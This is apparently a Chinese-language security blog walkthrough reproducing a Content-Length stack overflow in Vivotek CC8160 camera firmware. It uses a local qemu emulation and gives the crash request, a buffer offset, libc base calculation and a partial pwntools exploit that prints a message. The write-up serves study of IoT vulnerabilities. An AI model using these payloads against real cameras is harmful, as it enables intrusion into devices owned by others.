Vivotek CC8160 是一款网络摄像机,在 VVTK-0113b 版本之前的固件中存在一个缓冲区溢出漏洞。
可以在这里下载固件:CC8160-VVTK-0100d.flash.zip

下载之后解压拿到 CC8160-VVTK-0100d.flash.pkg 附件,然后利用 binwalk 提取固件:
1 | binwalk -Me CC8160-VVTK-0100d.flash.pkg |
解压后有四个.extracted看一看内容:

进入找到 squashfs-root:

可以现在启动脚本中查找相关信息:
1 | cat ./etc/init.d/rcS |
/etc/init.d/rcS 是 Linux 根文件系统中的核心初始化脚本。它不是附件,而是摄像头固件解包后,Linux 系统启动时首先执行的关键脚本之一。

/etc/rcS:这通常是一个很简单的包装脚本,或者在某些系统里根本不存在。如果存在,它的作用往往只是转去执行/etc/init.d/rcS,或者用于处理 BusyBox 特有的启动逻辑,相当于/etc/init.d/rcS的软链接。因此可以直接在 /etc/init.d 中寻找有关 HTTP 服务的可执行文件即可:

在/etc/init.d 中找到了 httpd 文件,发现启动了/usr/sbin/httpd,那这个就是我们需要分析的二进制文件:

漏洞分析:
打开 httpd 直接就识别到了 ARM 结构:

已知该漏洞存在于 “Content-Length”,那就通过搜索字符串去定位漏洞函数:

直接看 Content-Length 这一部分:

这一部分逻辑很简单:v34 - (v35 + 1)就是Content-Length的值的长度,把这个Content-Length的内容直接复制到栈上,可以看到这里假设修改 Content-Length 就会造成栈溢出:

漏洞复现:
我们可以利用 qemu-user 去模拟固件环境:先把 qemu-arm-static 复制到 squashfs-root 目录下,然后通过 chroot 去切换根目录,利用 qemu-arm-static 去模拟 /usr/sbin/httpd:
1 | cp /usr/bin/qemu-arm-static ./ |

这里报错 cat’t open /dev/null,依旧在 IDA 寻找字符串看一看:

也就是说缺失了这个文件,我们创建一个空文件就好了:
1 | touch ./dev/null # 直接用nano或者vim也可以 |

重新运行,然后就产生新的报错了:Could not open boa.conf for reading.
查询 IDA:

那么实际上意思是说缺少了./etc/conf.d/boa/boa.conf这个附件
通过find . -name "boa.conf"可以快速寻找到该文件的位置,结果没有找到。最后在_31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/里面找到了 conf.d/boa/boa.conf。
把他复制到./etc/conf.d/boa/boa.conf即可。
之后如果依旧遇到缺少类似的文件,都可以利用自行创建或者查看其他的解压包中是否存在该文件来解决。

再次运行,发现存在新的问题:这次不再是缺少文件,我们通过 IDA 查看报错的原因:

gethostname 函数可以通过主机名称获取本机的 IP 地址,那么猜测这里是 IP 获取失败导致的
查询./etc/hosts,再通过 hostname 命令去查询本地的主机名,发现两者也不一致

那么这里直接把 Network-Camera localhost 改成本地主机名即可:再次运行

该漏洞调用的端口是 :80,但是本机显示 windows 端已经被占用了,那就不去和 windows 端争用一个,把摄像头调用端口修改为 8000 即可:重新运行

确实可以从网页中打开:

编写 POC 测偏移:
由于该漏洞是 Content-Length 字段处产生的溢出,因此只需要找到一个未授权的端口,在发送 HTTP 报文的时候把 Content-Length 字段改成非法的字符串就可以触发这个漏洞
1 | sudo chroot ./ ./qemu-arm-static ./usr/sbin/httpd -d |
-d 看一看,d 就是不 daemonize,fd 2 留在你的终端上,所有解析日志实时刷出来。

我们随便选择一个 GET 请求,伪造一下把 Content-Length 字段改成非法的字符串
GET /cgi-bin/viewer/getparam.cgi
1 | echo -en "POST /cgi-bin/admin/upgrade.cgi\r\nHTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | nc -v 127.0.0.1 8080 |
启动另一个终端去发送:

看一眼报错信息:
1 | req->iCount++= 1 |
意思是触发了段错误,这样就意味着我们触发了当前的漏洞
我们确实触发了溢出,但是接下来我们想要拿到本题目的 shell,我们就需要去编写 exp:
1 | sudo chroot ./ ./qemu-arm-static -g 1234 ./usr/sbin/httpd -d |
这里一定要加上-d,否则程序会直接挂掉
1 | gdb-multiarch ./bin/httpd |

这里提一点:在 ARM 上,跳转目标地址的最低位(bit0)不是地址的一部分,而是”指令集选择器”:
当最低位是 1,目标是 Thumb 代码,当最低位是 0,目标是 ARM 代码。那么怎么判断最低位到底是什么呢?
ARM 的状态寄存器 CPSR 里有一位专门表示当前指令集:
1 | p/t $CPSR |


涉及到 ARM 模式(LSB=0)和 Thumb 模式(LSB=1)的切换:栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。在 pwndbg 当中执行 p/t $cpsr 以二进制格式显示 CPSR 寄存器,发现 T 位值为 1,因此需要在之前的报错地址上手动加一还原
因此我们 cyclic -l 的地址其实是 0x61616e61,测出来对应偏移是 51
接下来就该编写 exp 了
寻找 libc_base:
1 | hfttc@LAPTOP-BGB77OSR ~/Desktop/IOT/CC8160-VVTK-0100d/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root |
找到了 puts 的偏移,去动调找 puts 的实际地址:
1 | pwndbg> file ./usr/sbin/httpd |
这里记得加载 ELF,否则 pwndbg 不会识别符号:报错和解决如下:

然后作差去拿到 libc 基址:

之后先在 0x13538 处下断点,这个时候正好下一步就是 strncpy,
发送:
1 | sudo env -i /usr/sbin/chroot ./ ./qemu-arm-static -g 1234 ./usr/sbin/httpd -d |
1 | printf 'POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\r\nContent-Length: AAAA\r\n\r\n' | nc -q1 127.0.0.1 8000 |
可以看到此时 SP 寄存器的值为 0x407ffc00

之后我们都是往这个栈里面 strncpy,我们的 payload 都是往栈里面写的
1 | msg = os.environ.get('msg', 'hacked sucessfully!!!').encode() |
我们这里利用 fputs 执行任意代码执行漏洞,把 r0 作为 fputs 的第一个参数,传入 stack 地址,stack 地址正好就是我们 payload 填充:SP + 0x51 + 1 + 4*5 = 0x407ffc60
这里解释'+1':由于 content-length:后面通常是有一个空格的,但是根据上面的逻辑,strncpy 复制的时候直接是从':'到'\n',因此这个空格也被包含在内,因此写入的 r0 地址实际是0x407ffc60
1 | from pwn import * |
尝试一下,就能够执行任意代码执行漏洞:hacked accessfully!!!

至于为什么不拿 shell,按理来说是可以的,打一个 ret2libc,但是好像是必须需要 system 模拟才可以
还是不太理解,下一次拿 system 模拟一次看看能不能拿到 shell。
说些什么吧!